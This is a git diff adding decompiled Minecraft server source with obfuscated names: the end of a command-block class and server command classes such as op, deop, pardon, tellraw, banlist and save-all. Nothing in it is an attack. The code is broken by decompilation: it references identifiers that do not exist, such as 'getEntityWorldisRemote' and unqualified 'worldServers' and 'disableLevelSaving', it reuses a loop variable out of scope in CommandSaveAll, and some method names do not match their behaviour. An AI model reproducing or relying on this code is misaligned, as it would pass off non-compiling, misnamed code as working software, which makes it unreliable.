+  public int getSuccessCount()
+  {
+    return successCount;
+  }
+  
+
+
+
+  public IChatComponent getLastOutput()
+  {
+    return lastOutput;
+  }
+  
+
+
+
+  public void writeDataToNBT(NBTTagCompound p_145758_1_)
+  {
+    p_145758_1_.setString("Command", commandStored);
+    p_145758_1_.setInteger("SuccessCount", successCount);
+    p_145758_1_.setString("CustomName", customName);
+    p_145758_1_.setBoolean("TrackOutput", trackOutput);
+    
+    if ((lastOutput != null) && (trackOutput))
+    {
+      p_145758_1_.setString("LastOutput", IChatComponent.Serializer.componentToJson(lastOutput));
+    }
+    
+    field_175575_g.func_179670_b(p_145758_1_);
+  }
+  
+
+
+
+  public void readDataFromNBT(NBTTagCompound p_145759_1_)
+  {
+    commandStored = p_145759_1_.getString("Command");
+    successCount = p_145759_1_.getInteger("SuccessCount");
+    
+    if (p_145759_1_.hasKey("CustomName", 8))
+    {
+      customName = p_145759_1_.getString("CustomName");
+    }
+    
+    if (p_145759_1_.hasKey("TrackOutput", 1))
+    {
+      trackOutput = p_145759_1_.getBoolean("TrackOutput");
+    }
+    
+    if ((p_145759_1_.hasKey("LastOutput", 8)) && (trackOutput))
+    {
+      lastOutput = IChatComponent.Serializer.jsonToComponent(p_145759_1_.getString("LastOutput"));
+    }
+    
+    field_175575_g.func_179668_a(p_145759_1_);
+  }
+  
+
+
+
+  public boolean canCommandSenderUseCommand(int permissionLevel, String command)
+  {
+    return permissionLevel <= 2;
+  }
+  
+
+
+
+  public void setCommand(String p_145752_1_)
+  {
+    commandStored = p_145752_1_;
+    successCount = 0;
+  }
+  
+
+
+
+  public String getCustomName()
+  {
+    return commandStored;
+  }
+  
+  public void trigger(World worldIn)
+  {
+    if (isRemote)
+    {
+      successCount = 0;
+    }
+    
+    MinecraftServer var2 = MinecraftServer.getServer();
+    
+    if ((var2 != null) && (var2.func_175578_N()) && (var2.isCommandBlockEnabled()))
+    {
+      ICommandManager var3 = var2.getCommandManager();
+      
+      try
+      {
+        lastOutput = null;
+        successCount = var3.executeCommand(this, commandStored);
+      }
+      catch (Throwable var7)
+      {
+        CrashReport var5 = CrashReport.makeCrashReport(var7, "Executing command block");
+        CrashReportCategory var6 = var5.makeCategory("Command to be executed");
+        var6.addCrashSectionCallable("Command", new Callable()
+        {
+          private static final String __OBFID = "CL_00002154";
+          
+          public String func_180324_a() {
+            return getCustomName();
+          }
+          
+          public Object call() {
+            return func_180324_a();
+          }
+        });
+        var6.addCrashSectionCallable("Name", new Callable()
+        {
+          private static final String __OBFID = "CL_00002153";
+          
+          public String func_180326_a() {
+            return getName();
+          }
+          
+          public Object call() {
+            return func_180326_a();
+          }
+        });
+        throw new net.minecraft.util.ReportedException(var5);
+      }
+    }
+    else
+    {
+      successCount = 0;
+    }
+  }
+  
+
+
+
+  public String getName()
+  {
+    return customName;
+  }
+  
+  public IChatComponent getDisplayName()
+  {
+    return new ChatComponentText(getName());
+  }
+  
+  public void func_145754_b(String p_145754_1_)
+  {
+    customName = p_145754_1_;
+  }
+  
+
+
+
+
+
+
+  public void addChatMessage(IChatComponent message)
+  {
+    if ((trackOutput) && (getEntityWorld() != null) && (!getEntityWorldisRemote))
+    {
+      lastOutput = new ChatComponentText("[" + timestampFormat.format(new java.util.Date()) + "] ").appendSibling(message);
+      func_145756_e();
+    }
+  }
+  
+  public boolean sendCommandFeedback()
+  {
+    MinecraftServer var1 = MinecraftServer.getServer();
+    return (var1 == null) || (!var1.func_175578_N()) || (worldServers[0].getGameRules().getGameRuleBooleanValue("commandBlockOutput"));
+  }
+  
+  public void func_174794_a(CommandResultStats.Type p_174794_1_, int p_174794_2_)
+  {
+    field_175575_g.func_179672_a(this, p_174794_1_, p_174794_2_);
+  }
+  
+  public abstract void func_145756_e();
+  
+  public abstract int func_145751_f();
+  
+  public abstract void func_145757_a(ByteBuf paramByteBuf);
+  
+  public void func_145750_b(IChatComponent p_145750_1_)
+  {
+    lastOutput = p_145750_1_;
+  }
+  
+  public void func_175573_a(boolean p_175573_1_)
+  {
+    trackOutput = p_175573_1_;
+  }
+  
+  public boolean func_175571_m()
+  {
+    return trackOutput;
+  }
+  
+  public boolean func_175574_a(EntityPlayer p_175574_1_)
+  {
+    if (!capabilities.isCreativeMode)
+    {
+      return false;
+    }
+    
+
+    if (getEntityWorldisRemote)
+    {
+      p_175574_1_.func_146095_a(this);
+    }
+    
+    return true;
+  }
+  
+
+  public CommandResultStats func_175572_n()
+  {
+    return field_175575_g;
+  }
+}
diff --git a/src/minecraft/net/minecraft/command/server/CommandBroadcast.java b/src/minecraft/net/minecraft/command/server/CommandBroadcast.java
new file mode 100644
index 0000000..0913b46
--- /dev/null
+++ b/src/minecraft/net/minecraft/command/server/CommandBroadcast.java
@@ -0,0 +1,52 @@
+package net.minecraft.command.server;
+
+import net.minecraft.command.CommandBase;
+import net.minecraft.command.CommandException;
+import net.minecraft.command.ICommandSender;
+import net.minecraft.server.MinecraftServer;
+import net.minecraft.server.management.ServerConfigurationManager;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.IChatComponent;
+
+public class CommandBroadcast extends CommandBase
+{
+  private static final String __OBFID = "CL_00000191";
+  
+  public CommandBroadcast() {}
+  
+  public String getCommandName()
+  {
+    return "say";
+  }
+  
+
+
+
+  public int getRequiredPermissionLevel()
+  {
+    return 1;
+  }
+  
+  public String getCommandUsage(ICommandSender sender)
+  {
+    return "commands.say.usage";
+  }
+  
+  public void processCommand(ICommandSender sender, String[] args) throws CommandException
+  {
+    if ((args.length > 0) && (args[0].length() > 0))
+    {
+      IChatComponent var3 = getChatComponentFromNthArg(sender, args, 0, true);
+      MinecraftServer.getServer().getConfigurationManager().sendChatMsg(new net.minecraft.util.ChatComponentTranslation("chat.type.announcement", new Object[] { sender.getDisplayName(), var3 }));
+    }
+    else
+    {
+      throw new net.minecraft.command.WrongUsageException("commands.say.usage", new Object[0]);
+    }
+  }
+  
+  public java.util.List addTabCompletionOptions(ICommandSender sender, String[] args, BlockPos pos)
+  {
+    return args.length >= 1 ? getListOfStringsMatchingLastWord(args, MinecraftServer.getServer().getAllUsernames()) : null;
+  }
+}
diff --git a/src/minecraft/net/minecraft/command/server/CommandDeOp.java b/src/minecraft/net/minecraft/command/server/CommandDeOp.java
new file mode 100644
index 0000000..ca58693
--- /dev/null
+++ b/src/minecraft/net/minecraft/command/server/CommandDeOp.java
@@ -0,0 +1,61 @@
+package net.minecraft.command.server;
+
+import com.mojang.authlib.GameProfile;
+import net.minecraft.command.CommandException;
+import net.minecraft.command.ICommandSender;
+import net.minecraft.server.MinecraftServer;
+import net.minecraft.server.management.ServerConfigurationManager;
+import net.minecraft.util.BlockPos;
+
+public class CommandDeOp extends net.minecraft.command.CommandBase
+{
+  private static final String __OBFID = "CL_00000244";
+  
+  public CommandDeOp() {}
+  
+  public String getCommandName()
+  {
+    return "deop";
+  }
+  
+
+
+
+  public int getRequiredPermissionLevel()
+  {
+    return 3;
+  }
+  
+  public String getCommandUsage(ICommandSender sender)
+  {
+    return "commands.deop.usage";
+  }
+  
+  public void processCommand(ICommandSender sender, String[] args) throws CommandException
+  {
+    if ((args.length == 1) && (args[0].length() > 0))
+    {
+      MinecraftServer var3 = MinecraftServer.getServer();
+      GameProfile var4 = var3.getConfigurationManager().getOppedPlayers().getGameProfileFromName(args[0]);
+      
+      if (var4 == null)
+      {
+        throw new CommandException("commands.deop.failed", new Object[] { args[0] });
+      }
+      
+
+      var3.getConfigurationManager().removeOp(var4);
+      notifyOperators(sender, this, "commands.deop.success", new Object[] { args[0] });
+
+    }
+    else
+    {
+      throw new net.minecraft.command.WrongUsageException("commands.deop.usage", new Object[0]);
+    }
+  }
+  
+  public java.util.List addTabCompletionOptions(ICommandSender sender, String[] args, BlockPos pos)
+  {
+    return args.length == 1 ? getListOfStringsMatchingLastWord(args, MinecraftServer.getServer().getConfigurationManager().getOppedPlayerNames()) : null;
+  }
+}
diff --git a/src/minecraft/net/minecraft/command/server/CommandEmote.java b/src/minecraft/net/minecraft/command/server/CommandEmote.java
new file mode 100644
index 0000000..1d93f2b
--- /dev/null
+++ b/src/minecraft/net/minecraft/command/server/CommandEmote.java
@@ -0,0 +1,53 @@
+package net.minecraft.command.server;
+
+import net.minecraft.command.CommandBase;
+import net.minecraft.command.CommandException;
+import net.minecraft.command.ICommandSender;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.server.MinecraftServer;
+import net.minecraft.server.management.ServerConfigurationManager;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.IChatComponent;
+
+public class CommandEmote extends CommandBase
+{
+  private static final String __OBFID = "CL_00000351";
+  
+  public CommandEmote() {}
+  
+  public String getCommandName()
+  {
+    return "me";
+  }
+  
+
+
+
+  public int getRequiredPermissionLevel()
+  {
+    return 0;
+  }
+  
+  public String getCommandUsage(ICommandSender sender)
+  {
+    return "commands.me.usage";
+  }
+  
+  public void processCommand(ICommandSender sender, String[] args) throws CommandException
+  {
+    if (args.length <= 0)
+    {
+      throw new net.minecraft.command.WrongUsageException("commands.me.usage", new Object[0]);
+    }
+    
+
+    IChatComponent var3 = getChatComponentFromNthArg(sender, args, 0, !(sender instanceof EntityPlayer));
+    MinecraftServer.getServer().getConfigurationManager().sendChatMsg(new net.minecraft.util.ChatComponentTranslation("chat.type.emote", new Object[] { sender.getDisplayName(), var3 }));
+  }
+  
+
+  public java.util.List addTabCompletionOptions(ICommandSender sender, String[] args, BlockPos pos)
+  {
+    return getListOfStringsMatchingLastWord(args, MinecraftServer.getServer().getAllUsernames());
+  }
+}
diff --git a/src/minecraft/net/minecraft/command/server/CommandListBans.java b/src/minecraft/net/minecraft/command/server/CommandListBans.java
new file mode 100644
index 0000000..9fbf4a4
--- /dev/null
+++ b/src/minecraft/net/minecraft/command/server/CommandListBans.java
@@ -0,0 +1,60 @@
+package net.minecraft.command.server;
+
+import net.minecraft.command.CommandBase;
+import net.minecraft.command.ICommandSender;
+import net.minecraft.server.MinecraftServer;
+import net.minecraft.server.management.BanList;
+import net.minecraft.server.management.ServerConfigurationManager;
+import net.minecraft.server.management.UserListBans;
+
+public class CommandListBans extends CommandBase
+{
+  private static final String __OBFID = "CL_00000596";
+  
+  public CommandListBans() {}
+  
+  public String getCommandName()
+  {
+    return "banlist";
+  }
+  
+
+
+
+  public int getRequiredPermissionLevel()
+  {
+    return 3;
+  }
+  
+
+
+
+  public boolean canCommandSenderUseCommand(ICommandSender sender)
+  {
+    return ((MinecraftServer.getServer().getConfigurationManager().getBannedIPs().isLanServer()) || (MinecraftServer.getServer().getConfigurationManager().getBannedPlayers().isLanServer())) && (super.canCommandSenderUseCommand(sender));
+  }
+  
+  public String getCommandUsage(ICommandSender sender)
+  {
+    return "commands.banlist.usage";
+  }
+  
+  public void processCommand(ICommandSender sender, String[] args) throws net.minecraft.command.CommandException
+  {
+    if ((args.length >= 1) && (args[0].equalsIgnoreCase("ips")))
+    {
+      sender.addChatMessage(new net.minecraft.util.ChatComponentTranslation("commands.banlist.ips", new Object[] { Integer.valueOf(MinecraftServer.getServer().getConfigurationManager().getBannedIPs().getKeys().length) }));
+      sender.addChatMessage(new net.minecraft.util.ChatComponentText(joinNiceString(MinecraftServer.getServer().getConfigurationManager().getBannedIPs().getKeys())));
+    }
+    else
+    {
+      sender.addChatMessage(new net.minecraft.util.ChatComponentTranslation("commands.banlist.players", new Object[] { Integer.valueOf(MinecraftServer.getServer().getConfigurationManager().getBannedPlayers().getKeys().length) }));
+      sender.addChatMessage(new net.minecraft.util.ChatComponentText(joinNiceString(MinecraftServer.getServer().getConfigurationManager().getBannedPlayers().getKeys())));
+    }
+  }
+  
+  public java.util.List addTabCompletionOptions(ICommandSender sender, String[] args, net.minecraft.util.BlockPos pos)
+  {
+    return args.length == 1 ? getListOfStringsMatchingLastWord(args, new String[] { "players", "ips" }) : null;
+  }
+}
diff --git a/src/minecraft/net/minecraft/command/server/CommandListPlayers.java b/src/minecraft/net/minecraft/command/server/CommandListPlayers.java
new file mode 100644
index 0000000..dd173c5
--- /dev/null
+++ b/src/minecraft/net/minecraft/command/server/CommandListPlayers.java
@@ -0,0 +1,40 @@
+package net.minecraft.command.server;
+
+import net.minecraft.command.CommandException;
+import net.minecraft.command.CommandResultStats.Type;
+import net.minecraft.command.ICommandSender;
+import net.minecraft.server.MinecraftServer;
+import net.minecraft.util.ChatComponentText;
+
+public class CommandListPlayers extends net.minecraft.command.CommandBase
+{
+  private static final String __OBFID = "CL_00000615";
+  
+  public CommandListPlayers() {}
+  
+  public String getCommandName()
+  {
+    return "list";
+  }
+  
+
+
+
+  public int getRequiredPermissionLevel()
+  {
+    return 0;
+  }
+  
+  public String getCommandUsage(ICommandSender sender)
+  {
+    return "commands.players.usage";
+  }
+  
+  public void processCommand(ICommandSender sender, String[] args) throws CommandException
+  {
+    int var3 = MinecraftServer.getServer().getCurrentPlayerCount();
+    sender.addChatMessage(new net.minecraft.util.ChatComponentTranslation("commands.players.list", new Object[] { Integer.valueOf(var3), Integer.valueOf(MinecraftServer.getServer().getMaxPlayers()) }));
+    sender.addChatMessage(new ChatComponentText(MinecraftServer.getServer().getConfigurationManager().func_180602_f()));
+    sender.func_174794_a(CommandResultStats.Type.QUERY_RESULT, var3);
+  }
+}
diff --git a/src/minecraft/net/minecraft/command/server/CommandMessage.java b/src/minecraft/net/minecraft/command/server/CommandMessage.java
new file mode 100644
index 0000000..b0dc3c7
--- /dev/null
+++ b/src/minecraft/net/minecraft/command/server/CommandMessage.java
@@ -0,0 +1,84 @@
+package net.minecraft.command.server;
+
+import java.util.List;
+import net.minecraft.command.CommandBase;
+import net.minecraft.command.CommandException;
+import net.minecraft.command.ICommandSender;
+import net.minecraft.command.PlayerNotFoundException;
+import net.minecraft.entity.player.EntityPlayerMP;
+import net.minecraft.server.MinecraftServer;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.ChatComponentTranslation;
+import net.minecraft.util.ChatStyle;
+import net.minecraft.util.EnumChatFormatting;
+import net.minecraft.util.IChatComponent;
+
+public class CommandMessage extends CommandBase
+{
+  private static final String __OBFID = "CL_00000641";
+  
+  public CommandMessage() {}
+  
+  public List getCommandAliases()
+  {
+    return java.util.Arrays.asList(new String[] { "w", "msg" });
+  }
+  
+  public String getCommandName()
+  {
+    return "tell";
+  }
+  
+
+
+
+  public int getRequiredPermissionLevel()
+  {
+    return 0;
+  }
+  
+  public String getCommandUsage(ICommandSender sender)
+  {
+    return "commands.message.usage";
+  }
+  
+  public void processCommand(ICommandSender sender, String[] args) throws CommandException
+  {
+    if (args.length < 2)
+    {
+      throw new net.minecraft.command.WrongUsageException("commands.message.usage", new Object[0]);
+    }
+    
+
+    EntityPlayerMP var3 = getPlayer(sender, args[0]);
+    
+    if (var3 == sender)
+    {
+      throw new PlayerNotFoundException("commands.message.sameTarget", new Object[0]);
+    }
+    
+
+    IChatComponent var4 = getChatComponentFromNthArg(sender, args, 1, !(sender instanceof net.minecraft.entity.player.EntityPlayer));
+    ChatComponentTranslation var5 = new ChatComponentTranslation("commands.message.display.incoming", new Object[] { sender.getDisplayName(), var4.createCopy() });
+    ChatComponentTranslation var6 = new ChatComponentTranslation("commands.message.display.outgoing", new Object[] { var3.getDisplayName(), var4.createCopy() });
+    var5.getChatStyle().setColor(EnumChatFormatting.GRAY).setItalic(Boolean.valueOf(true));
+    var6.getChatStyle().setColor(EnumChatFormatting.GRAY).setItalic(Boolean.valueOf(true));
+    var3.addChatMessage(var5);
+    sender.addChatMessage(var6);
+  }
+  
+
+
+  public List addTabCompletionOptions(ICommandSender sender, String[] args, BlockPos pos)
+  {
+    return getListOfStringsMatchingLastWord(args, MinecraftServer.getServer().getAllUsernames());
+  }
+  
+
+
+
+  public boolean isUsernameIndex(String[] args, int index)
+  {
+    return index == 0;
+  }
+}
diff --git a/src/minecraft/net/minecraft/command/server/CommandMessageRaw.java b/src/minecraft/net/minecraft/command/server/CommandMessageRaw.java
new file mode 100644
index 0000000..437d6bc
--- /dev/null
+++ b/src/minecraft/net/minecraft/command/server/CommandMessageRaw.java
@@ -0,0 +1,75 @@
+package net.minecraft.command.server;
+
+import com.google.gson.JsonParseException;
+import net.minecraft.command.CommandBase;
+import net.minecraft.command.CommandException;
+import net.minecraft.command.ICommandSender;
+import net.minecraft.entity.player.EntityPlayerMP;
+import net.minecraft.server.MinecraftServer;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.ChatComponentProcessor;
+import net.minecraft.util.IChatComponent;
+import net.minecraft.util.IChatComponent.Serializer;
+import org.apache.commons.lang3.exception.ExceptionUtils;
+
+public class CommandMessageRaw extends CommandBase
+{
+  private static final String __OBFID = "CL_00000667";
+  
+  public CommandMessageRaw() {}
+  
+  public String getCommandName()
+  {
+    return "tellraw";
+  }
+  
+
+
+
+  public int getRequiredPermissionLevel()
+  {
+    return 2;
+  }
+  
+  public String getCommandUsage(ICommandSender sender)
+  {
+    return "commands.tellraw.usage";
+  }
+  
+  public void processCommand(ICommandSender sender, String[] args) throws CommandException
+  {
+    if (args.length < 2)
+    {
+      throw new net.minecraft.command.WrongUsageException("commands.tellraw.usage", new Object[0]);
+    }
+    
+
+    EntityPlayerMP var3 = getPlayer(sender, args[0]);
+    String var4 = func_180529_a(args, 1);
+    
+    try
+    {
+      IChatComponent var5 = IChatComponent.Serializer.jsonToComponent(var4);
+      var3.addChatMessage(ChatComponentProcessor.func_179985_a(sender, var5, var3));
+    }
+    catch (JsonParseException var7)
+    {
+      Throwable var6 = ExceptionUtils.getRootCause(var7);
+      throw new net.minecraft.command.SyntaxErrorException("commands.tellraw.jsonException", new Object[] { var6 == null ? "" : var6.getMessage() });
+    }
+  }
+  
+
+  public java.util.List addTabCompletionOptions(ICommandSender sender, String[] args, BlockPos pos)
+  {
+    return args.length == 1 ? getListOfStringsMatchingLastWord(args, MinecraftServer.getServer().getAllUsernames()) : null;
+  }
+  
+
+
+
+  public boolean isUsernameIndex(String[] args, int index)
+  {
+    return index == 0;
+  }
+}
diff --git a/src/minecraft/net/minecraft/command/server/CommandOp.java b/src/minecraft/net/minecraft/command/server/CommandOp.java
new file mode 100644
index 0000000..a85abdc
--- /dev/null
+++ b/src/minecraft/net/minecraft/command/server/CommandOp.java
@@ -0,0 +1,84 @@
+package net.minecraft.command.server;
+
+import com.mojang.authlib.GameProfile;
+import java.util.ArrayList;
+import net.minecraft.command.CommandException;
+import net.minecraft.command.ICommandSender;
+import net.minecraft.server.MinecraftServer;
+import net.minecraft.server.management.PlayerProfileCache;
+import net.minecraft.server.management.ServerConfigurationManager;
+import net.minecraft.util.BlockPos;
+
+public class CommandOp extends net.minecraft.command.CommandBase
+{
+  private static final String __OBFID = "CL_00000694";
+  
+  public CommandOp() {}
+  
+  public String getCommandName()
+  {
+    return "op";
+  }
+  
+
+
+
+  public int getRequiredPermissionLevel()
+  {
+    return 3;
+  }
+  
+  public String getCommandUsage(ICommandSender sender)
+  {
+    return "commands.op.usage";
+  }
+  
+  public void processCommand(ICommandSender sender, String[] args) throws CommandException
+  {
+    if ((args.length == 1) && (args[0].length() > 0))
+    {
+      MinecraftServer var3 = MinecraftServer.getServer();
+      GameProfile var4 = var3.getPlayerProfileCache().getGameProfileForUsername(args[0]);
+      
+      if (var4 == null)
+      {
+        throw new CommandException("commands.op.failed", new Object[] { args[0] });
+      }
+      
+
+      var3.getConfigurationManager().addOp(var4);
+      notifyOperators(sender, this, "commands.op.success", new Object[] { args[0] });
+
+    }
+    else
+    {
+      throw new net.minecraft.command.WrongUsageException("commands.op.usage", new Object[0]);
+    }
+  }
+  
+  public java.util.List addTabCompletionOptions(ICommandSender sender, String[] args, BlockPos pos)
+  {
+    if (args.length == 1)
+    {
+      String var4 = args[(args.length - 1)];
+      ArrayList var5 = com.google.common.collect.Lists.newArrayList();
+      GameProfile[] var6 = MinecraftServer.getServer().getGameProfiles();
+      int var7 = var6.length;
+      
+      for (int var8 = 0; var8 < var7; var8++)
+      {
+        GameProfile var9 = var6[var8];
+        
+        if ((!MinecraftServer.getServer().getConfigurationManager().canSendCommands(var9)) && (doesStringStartWith(var4, var9.getName())))
+        {
+          var5.add(var9.getName());
+        }
+      }
+      
+      return var5;
+    }
+    
+
+    return null;
+  }
+}
diff --git a/src/minecraft/net/minecraft/command/server/CommandPardonIp.java b/src/minecraft/net/minecraft/command/server/CommandPardonIp.java
new file mode 100644
index 0000000..0124878
--- /dev/null
+++ b/src/minecraft/net/minecraft/command/server/CommandPardonIp.java
@@ -0,0 +1,69 @@
+package net.minecraft.command.server;
+
+import java.util.regex.Matcher;
+import net.minecraft.command.CommandBase;
+import net.minecraft.command.ICommandSender;
+import net.minecraft.server.MinecraftServer;
+import net.minecraft.server.management.BanList;
+import net.minecraft.server.management.ServerConfigurationManager;
+import net.minecraft.util.BlockPos;
+
+public class CommandPardonIp extends CommandBase
+{
+  private static final String __OBFID = "CL_00000720";
+  
+  public CommandPardonIp() {}
+  
+  public String getCommandName()
+  {
+    return "pardon-ip";
+  }
+  
+
+
+
+  public int getRequiredPermissionLevel()
+  {
+    return 3;
+  }
+  
+
+
+
+  public boolean canCommandSenderUseCommand(ICommandSender sender)
+  {
+    return (MinecraftServer.getServer().getConfigurationManager().getBannedIPs().isLanServer()) && (super.canCommandSenderUseCommand(sender));
+  }
+  
+  public String getCommandUsage(ICommandSender sender)
+  {
+    return "commands.unbanip.usage";
+  }
+  
+  public void processCommand(ICommandSender sender, String[] args) throws net.minecraft.command.CommandException
+  {
+    if ((args.length == 1) && (args[0].length() > 1))
+    {
+      Matcher var3 = CommandBanIp.field_147211_a.matcher(args[0]);
+      
+      if (var3.matches())
+      {
+        MinecraftServer.getServer().getConfigurationManager().getBannedIPs().removeEntry(args[0]);
+        notifyOperators(sender, this, "commands.unbanip.success", new Object[] { args[0] });
+      }
+      else
+      {
+        throw new net.minecraft.command.SyntaxErrorException("commands.unbanip.invalid", new Object[0]);
+      }
+    }
+    else
+    {
+      throw new net.minecraft.command.WrongUsageException("commands.unbanip.usage", new Object[0]);
+    }
+  }
+  
+  public java.util.List addTabCompletionOptions(ICommandSender sender, String[] args, BlockPos pos)
+  {
+    return args.length == 1 ? getListOfStringsMatchingLastWord(args, MinecraftServer.getServer().getConfigurationManager().getBannedIPs().getKeys()) : null;
+  }
+}
diff --git a/src/minecraft/net/minecraft/command/server/CommandPardonPlayer.java b/src/minecraft/net/minecraft/command/server/CommandPardonPlayer.java
new file mode 100644
index 0000000..a61fe3b
--- /dev/null
+++ b/src/minecraft/net/minecraft/command/server/CommandPardonPlayer.java
@@ -0,0 +1,69 @@
+package net.minecraft.command.server;
+
+import net.minecraft.command.CommandBase;
+import net.minecraft.command.CommandException;
+import net.minecraft.command.ICommandSender;
+import net.minecraft.server.MinecraftServer;
+import net.minecraft.server.management.ServerConfigurationManager;
+import net.minecraft.server.management.UserListBans;
+
+public class CommandPardonPlayer extends CommandBase
+{
+  private static final String __OBFID = "CL_00000747";
+  
+  public CommandPardonPlayer() {}
+  
+  public String getCommandName()
+  {
+    return "pardon";
+  }
+  
+
+
+
+  public int getRequiredPermissionLevel()
+  {
+    return 3;
+  }
+  
+  public String getCommandUsage(ICommandSender sender)
+  {
+    return "commands.unban.usage";
+  }
+  
+
+
+
+  public boolean canCommandSenderUseCommand(ICommandSender sender)
+  {
+    return (MinecraftServer.getServer().getConfigurationManager().getBannedPlayers().isLanServer()) && (super.canCommandSenderUseCommand(sender));
+  }
+  
+  public void processCommand(ICommandSender sender, String[] args) throws CommandException
+  {
+    if ((args.length == 1) && (args[0].length() > 0))
+    {
+      MinecraftServer var3 = MinecraftServer.getServer();
+      com.mojang.authlib.GameProfile var4 = var3.getConfigurationManager().getBannedPlayers().isUsernameBanned(args[0]);
+      
+      if (var4 == null)
+      {
+        throw new CommandException("commands.unban.failed", new Object[] { args[0] });
+      }
+      
+
+      var3.getConfigurationManager().getBannedPlayers().removeEntry(var4);
+      notifyOperators(sender, this, "commands.unban.success", new Object[] { args[0] });
+
+    }
+    else
+    {
+      throw new net.minecraft.command.WrongUsageException("commands.unban.usage", new Object[0]);
+    }
+  }
+  
+  public java.util.List addTabCompletionOptions(ICommandSender sender, String[] args, net.minecraft.util.BlockPos pos)
+  {
+    return args.length == 1 ? getListOfStringsMatchingLastWord(args, MinecraftServer.getServer().getConfigurationManager().getBannedPlayers().getKeys()) : null;
+  }
+}
diff --git a/src/minecraft/net/minecraft/command/server/CommandPublishLocalServer.java b/src/minecraft/net/minecraft/command/server/CommandPublishLocalServer.java
new file mode 100644
index 0000000..2d63010
--- /dev/null
+++ b/src/minecraft/net/minecraft/command/server/CommandPublishLocalServer.java
@@ -0,0 +1,36 @@
+package net.minecraft.command.server;
+
+import net.minecraft.command.CommandException;
+import net.minecraft.command.ICommandSender;
+import net.minecraft.server.MinecraftServer;
+
+public class CommandPublishLocalServer extends net.minecraft.command.CommandBase
+{
+  private static final String __OBFID = "CL_00000799";
+  
+  public CommandPublishLocalServer() {}
+  
+  public String getCommandName()
+  {
+    return "publish";
+  }
+  
+  public String getCommandUsage(ICommandSender sender)
+  {
+    return "commands.publish.usage";
+  }
+  
+  public void processCommand(ICommandSender sender, String[] args) throws CommandException
+  {
+    String var3 = MinecraftServer.getServer().shareToLAN(net.minecraft.world.WorldSettings.GameType.SURVIVAL, false);
+    
+    if (var3 != null)
+    {
+      notifyOperators(sender, this, "commands.publish.started", new Object[] { var3 });
+    }
+    else
+    {
+      notifyOperators(sender, this, "commands.publish.failed", new Object[0]);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/command/server/CommandSaveAll.java b/src/minecraft/net/minecraft/command/server/CommandSaveAll.java
new file mode 100644
index 0000000..b9aff77
--- /dev/null
+++ b/src/minecraft/net/minecraft/command/server/CommandSaveAll.java
@@ -0,0 +1,81 @@
+package net.minecraft.command.server;
+
+import net.minecraft.command.CommandException;
+import net.minecraft.command.ICommandSender;
+import net.minecraft.server.MinecraftServer;
+import net.minecraft.util.ChatComponentTranslation;
+import net.minecraft.world.MinecraftException;
+import net.minecraft.world.WorldServer;
+
+public class CommandSaveAll extends net.minecraft.command.CommandBase
+{
+  private static final String __OBFID = "CL_00000826";
+  
+  public CommandSaveAll() {}
+  
+  public String getCommandName()
+  {
+    return "save-all";
+  }
+  
+  public String getCommandUsage(ICommandSender sender)
+  {
+    return "commands.save.usage";
+  }
+  
+  public void processCommand(ICommandSender sender, String[] args) throws CommandException
+  {
+    MinecraftServer var3 = MinecraftServer.getServer();
+    sender.addChatMessage(new ChatComponentTranslation("commands.save.start", new Object[0]));
+    
+    if (var3.getConfigurationManager() != null)
+    {
+      var3.getConfigurationManager().saveAllPlayerData();
+    }
+    
+
+
+
+
+    try
+    {
+      for (int var4 = 0; var4 < worldServers.length; var4++)
+      {
+        if (worldServers[var4] != null)
+        {
+          WorldServer var5 = worldServers[var4];
+          boolean var6 = disableLevelSaving;
+          disableLevelSaving = false;
+          var5.saveAllChunks(true, null);
+          disableLevelSaving = var6;
+        }
+      }
+      
+      if ((args.length > 0) && ("flush".equals(args[0])))
+      {
+        sender.addChatMessage(new ChatComponentTranslation("commands.save.flushStart", new Object[0]));
+        
+        for (var4 = 0; var4 < worldServers.length; var4++)
+        {
+          if (worldServers[var4] != null)
+          {
+            WorldServer var5 = worldServers[var4];
+            boolean var6 = disableLevelSaving;
+            disableLevelSaving = false;
+            var5.saveChunkData();
+            disableLevelSaving = var6;
+          }
+        }
+        
+        sender.addChatMessage(new ChatComponentTranslation("commands.save.flushEnd", new Object[0]));
+      }
+    }
+    catch (MinecraftException var7)
+    {
+      notifyOperators(sender, this, "commands.save.failed", new Object[] { var7.getMessage() });
+      return;
+    }
+    
+    notifyOperators(sender, this, "commands.save.success", new Object[0]);
+  }
+}
diff --git a/src/minecraft/net/minecraft/command/server/CommandSaveOff.java b/src/minecraft/net/minecraft/command/server/CommandSaveOff.java
new file mode 100644
index 0000000..5a565e8
--- /dev/null
+++ b/src/minecraft/net/minecraft/command/server/CommandSaveOff.java
@@ -0,0 +1,51 @@
+package net.minecraft.command.server;
+
+import net.minecraft.command.CommandException;
+import net.minecraft.command.ICommandSender;
+import net.minecraft.server.MinecraftServer;
+
+public class CommandSaveOff extends net.minecraft.command.CommandBase
+{
+  private static final String __OBFID = "CL_00000847";
+  
+  public CommandSaveOff() {}
+  
+  public String getCommandName()
+  {
+    return "save-off";
+  }
+  
+  public String getCommandUsage(ICommandSender sender)
+  {
+    return "commands.save-off.usage";
+  }
+  
+  public void processCommand(ICommandSender sender, String[] args) throws CommandException
+  {
+    MinecraftServer var3 = MinecraftServer.getServer();
+    boolean var4 = false;
+    
+    for (int var5 = 0; var5 < worldServers.length; var5++)
+    {
+      if (worldServers[var5] != null)
+      {
+        net.minecraft.world.WorldServer var6 = worldServers[var5];
+        
+        if (!disableLevelSaving)
+        {
+          disableLevelSaving = true;
+          var4 = true;
+        }
+      }
+    }
+    
+    if (var4)
+    {
+      notifyOperators(sender, this, "commands.save.disabled", new Object[0]);
+    }
+    else
+    {
+      throw new CommandException("commands.save-off.alreadyOff", new Object[0]);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/command/server/CommandSaveOn.java b/src/minecraft/net/minecraft/command/server/CommandSaveOn.java
new file mode 100644
index 0000000..9335d5f
--- /dev/null
+++ b/src/minecraft/net/minecraft/command/server/CommandSaveOn.java
@@ -0,0 +1,51 @@
+package net.minecraft.command.server;
+
+import net.minecraft.command.CommandException;
+import net.minecraft.command.ICommandSender;
+import net.minecraft.server.MinecraftServer;
+
+public class CommandSaveOn extends net.minecraft.command.CommandBase
+{
+  private static final String __OBFID = "CL_00000873";
+  
+  public CommandSaveOn() {}
+  
+  public String getCommandName()
+  {
+    return "save-on";
+  }
